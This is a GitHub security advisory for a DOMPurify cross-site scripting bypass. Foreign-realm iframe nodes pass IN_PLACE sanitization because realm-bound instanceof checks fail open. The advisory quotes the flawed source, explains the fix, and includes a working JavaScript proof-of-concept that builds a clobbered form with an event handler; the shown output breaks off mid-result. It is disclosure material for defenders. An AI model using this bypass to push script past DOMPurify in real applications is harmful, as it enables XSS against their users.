GitHub Advisoryadvisory · npm
GHSA-hpcv-96wg-7vj8 DOMPurify: Cross-realm IN_PLACE sanitization leaves executable markup intact via realm-bound `instanceof` checks
MEDIUM
Official page ↗
- Aliases
- CVE-2026-49458
- Ecosystem
- npm
- Packages
- dompurify
- Severity
- Moderate
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Weaknesses
- CWE-501, CWE-693, CWE-79
- Reviewed
- 2026-06-15
Affected packages
• npm dompurify: < 3.4.6 → fixed in 3.4.6
Description
Cross-realm IN_PLACE sanitization leaves executable markup intact via realm-bound `instanceof` checks
CWE: CWE-79 (XSS — Improper Neutralization of Input During Web Page Generation) via CWE-693 (Protection Mechanism Failure — realm-bound `instanceof` checks fail-open on foreign-realm DOM nodes) and CWE-501 (Trust Boundary Violation — foreign-realm nodes accepted for sanitization but later checks are bound to the parent realm)
Summary
`DOMPurify.sanitize(node, { IN_PLACE: true })` accepts a DOM node from any same-origin realm (e.g. a node owned by an application-created iframe document), but several follow-on security checks compare the node against constructors from the parent realm. Because constructors are per-realm, `instanceof HTMLFormElement`, `instanceof NamedNodeMap`, `instanceof DocumentFragment`, and `instanceof Element` all return `false` for nodes belonging to the iframe's realm. The library therefore proceeds as if the foreign-realm form is not clobberable, the foreign-realm ``'s `.content` is not a document fragment, and the foreign-realm attached shadow root is not a document fragment — silently skipping the clobber/template-content/shadow-DOM sanitization branches that those checks gate. Attacker-controlled markup survives in form attributes, template content, and attached shadow roots, and executes when the application later inserts or activates the sanitized node.
Affected
• DOMPurify ≤ 3.4.5, including `main` at `89da34e03ec17868e561f87f3747a9371b61a9e7`
• Any caller that constructs or parses untrusted DOM in a same-origin iframe (or any other same-origin realm — popup window, opened tab, programmatically-created ``) and then calls `DOMPurify.sanitize(foreignNode, { IN_PLACE: true })` against a sanitizer instance bound to a different realm
Not affected:
• String-input `DOMPurify.sanitize(dirtyString)` — the library calls its own parser inside `_initDocument`, the resulting nodes belong to the sanitizer's own realm, and the `instanceof` checks resolve as expected
• IN_PLACE calls where the input node was created in the same realm as the DOMPurify instance
Vulnerability details
The unifying defect is that `_isClobbered`, `_sanitizeShadowDOM`'s template-content recursion, and `_sanitizeAttachedShadowRoots` all use realm-bound `instanceof` checks against the parent-realm constructors. Each branch fails-open for foreign-realm objects.
[A] — `_isClobbered` gates on `element instanceof HTMLFormElement`
`src/purify.ts:1120-1140`:
```ts
const _isClobbered = function (element: Element): boolean {
return (
element instanceof HTMLFormElement && // [A] realm-bound — false for any
// iframe-realm element
(typeof element.nodeName !== 'string' ||
typeof element.textContent !== 'string' ||
typeof element.removeChild !== 'function' ||
!(element.attributes instanceof NamedNodeMap) || // [A'] also realm-bound
typeof element.removeAttribute !== 'function' ||
typeof element.setAttribute !== 'function' ||
typeof element.namespaceURI !== 'string' ||
typeof element.insertBefore !== 'function' ||
typeof element.hasChildNodes !== 'function' ||
!(element.childNodes && typeof element.childNodes.length === 'number'))
);
};
```
A foreign-realm `` is an instance of the foreign realm's `HTMLFormElement`, not the parent realm's. The leading `instanceof` short-circuits to `false`, so `_isClobbered` returns `false` regardless of the named-property clobbering present on the form. The follow-on `_sanitizeAttributes` then iterates `currentNode.attributes` — which itself can be a clobbered value (a foreign-realm `` whose `name="attributes"` shadows the form's real `NamedNodeMap`). The attribute walk traverses the wrong collection and never reaches the actual `onmouseover` / `onclick` / `action=javascript:` attributes on the form root.
[B] — `_sanitizeShadowDOM` gates template recursion on `content instanceof DocumentFragment`
`src/purify.ts:1660-1662`:
```ts
while ((shadowNode = shadowIterator.nextNode())) {
...
_sanitizeElements(shadowNode);
_sanitizeAttributes(shadowNode);
/* Deep shadow DOM detected */
if (shadowNode.content instanceof DocumentFragment) { // [B] realm-bound
_sanitizeShadowDOM(shadowNode.content);
}
}
```
The same check exists in the main iterator at `:1861-1862`:
```ts
if (currentNode.content instanceof DocumentFragment) { // [B'] realm-bound
_sanitizeShadowDOM(currentNode.content);
}
```
For a `` element constructed in a foreign realm, `template.content` is a `DocumentFragment` from that realm — not from the parent realm. Both checks miss it, and the template's contents (which carry attacker-controlled `` etc.) are never walked. The sanitized output appears clean from the outside, but the moment a consumer does `node.cloneNode(true)` / `importNode(template.content, true)` / inserts it into the live DOM, the embedded handler fires.
[C] — `_sanitizeAttachedShadowRoots` gates recursion on `sr instanceof DocumentFragment`
`src/purify.ts:1702-1712`:
```ts
if (nodeType === NODE_TYPE.element) {
const sr = getShadowRoot
? getShadowRoot(root)
: (root as Element).shadowRoot;
if (sr instanceof DocumentFragment) { // [C] realm-bound
_sanitizeAttachedShadowRoots(sr);
_sanitizeShadowDOM(sr);
}
}
```
For a host element constructed in a foreign realm with `host.attachShadow({mode:'open'})`, `host.shadowRoot` is a foreign-realm `ShadowRoot` (which extends the foreign realm's `DocumentFragment`). The `instanceof DocumentFragment` against the parent realm fails. The whole shadow subtree is skipped. When the host is later attached to the live document, the shadow DOM activates with attacker-controlled content.
The mismatch
DOMPurify *accepts* foreign-realm nodes for sanitization (the entry-point's `_isNode(dirty)` at `:1750` is realm-agnostic — it checks shape, not constructor identity), so callers reasonably expect that the library's downstream defenses are equally realm-agnostic. They are not. `[A]` / `[B]` / `[C]` each fail-open for foreign-realm objects. A correct guard at each of those sites would use a realm-independent shape check (e.g., `nodeType === 11` for `DocumentFragment`, tag-name comparison for `HTMLFormElement` recognition).
Proof of concept
Each PoC creates the attacker payload in a same-origin iframe, then calls the parent-realm `DOMPurify.sanitize(node, { IN_PLACE: true })` and verifies that handler execution succeeds on subsequent activation.
PoC 1 — cross-realm form clobbering survives
```js
const iframe = document.createElement('iframe');
iframe.srcdoc = '';
iframe.onload = () => {
const idoc = iframe.contentDocument;
const div = idoc.createElement('div'); div.id = 'dirty';
const form = idoc.createElement('form');
form.setAttribute('onmouseover',
'window.parent.__dompurify_xss=(window.parent.__dompurify_xss||0)+1');
const inp = idoc.createElement('input');
inp.setAttribute('name', 'attributes'); // clobbers form.attributes
form.appendChild(inp);
div.appendChild(form);
DOMPurify.sanitize(div, { IN_PLACE: true });
window.__dompurify_xss = 0;
document.body.appendChild(div);
form.dispatchEvent(new MouseEvent('mouseover', { bubbles: true }));
// window.__dompurify_xss === 1
};
document.body.appendChild(iframe);
```
Observed (Chromium 148, DOMPurify 3.4.5, HEAD `89da34e`):
```json
{
"sanitizeError": null,
"before": {
"formIsMainRealmHTMLFormElement": false,
"formIsForeignRealmHTMLFormElement": true,
"formAttributesType": "[object HTMLInputElement]",
"formAttributesEqualsInput": true
},
"after": {
"html": "",
"formOnm…
Related
Alias · CVE (1)
- CVE-2026-49458 DOMPurify is a DOM-only cross-site scripting sanitizer for HTML, MathML, and SVG. vulnerability